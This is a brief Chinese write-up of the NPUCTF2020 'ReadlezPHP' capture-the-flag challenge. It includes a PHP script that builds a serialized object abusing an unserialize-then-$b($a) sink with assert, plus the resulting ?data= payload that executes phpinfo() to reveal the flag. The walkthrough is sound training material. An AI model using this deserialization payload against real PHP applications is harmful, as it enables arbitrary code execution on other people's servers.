[NPUCTF2020]ReadlezPHP

image-20240506203933911

在网址前面加上view-source:就行了,可以看到源代码

之后再代码里找到一个

image-20240506204048410

进去之后是这样的

image-20240506204109917

所以我们看看这个代码

这道题的flag在phpinfo里面,所以,我们要做的就是进入这个界面,所以,想到通过data传一个命令去打开phpinfo

同时输出的事$b($a)

所以猜测是重新传输一个a和b上去

<?php
class HelloPhp
{
public $a='phpinfo()';
public $b='assert';
}
$b = new HelloPhp;
$b=serialize($b);
echo $b;
?>

使用这个去实现序列化,然后将结果传给data

所以随后的payload为:

?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}

之后就进去了phpinfo界面

查找flag

image-20240506205522732

知识点:

assert()断言函数

assert — 检查一个断言是否为 false
assert(mixed $assertion, Throwable $exception = ?): bool
如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。